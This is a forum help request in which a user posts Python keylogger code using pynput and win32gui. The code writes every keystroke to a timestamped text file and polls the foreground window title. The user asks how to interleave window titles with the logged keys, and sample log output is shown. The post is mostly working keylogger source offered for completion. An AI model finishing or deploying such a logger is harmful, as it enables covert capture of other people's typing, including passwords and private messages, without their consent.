hello there .... im trying to code a simple keylogger that log the key strokes and active windows titles : this is my code :
i dont know how to add windows titles to my .txt file with key strokes !!
i need them like this :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 |
# -*- coding: utf-8 -*- from pynput.keyboard import Listener import time from win32gui import GetWindowText, GetForegroundWindow import datetime moment = time.strftime( "%Y-%b-%d__%H_%M_%S" ,time.localtime()) def writetofile(key): keydata = str (key) keydata = keydata.replace( "u" , "") keydata = keydata.replace( "'" , "") with open ( "Log " + moment + ".txt" , "a" ) as qan: d = qan.write(keydata) with Listener(on_press = writetofile ) as l: l.join() def get_titles(): current_title = None while True : moment2 = datetime.datetime.now().strftime( "%Y-%b-%d [ %H:%M:%S.%f ]" ) new_title = GetWindowText(GetForegroundWindow()) if new_title ! = current_title: if len (new_title) > 0 : #logging.info(" Moved to : " + new_title) current_title = new_title time.sleep( 0.1 ) #print(new_title) ff = (moment2 + " : " + "Moved T0 : " + new_title) print ff get_titles() |
i need them like this :
Output:2018-Nov-19 [ 02:36:49.767000 ] : Moved T0 : token.py - geckodriver-v0.23.0-win64 - Visual Studio Code \n
www.google.comKey.tabkey.Spaceheywwwwpython
2018-Nov-19 [ 02:38:04.626000 ] : Moved T0 : Run
555552000520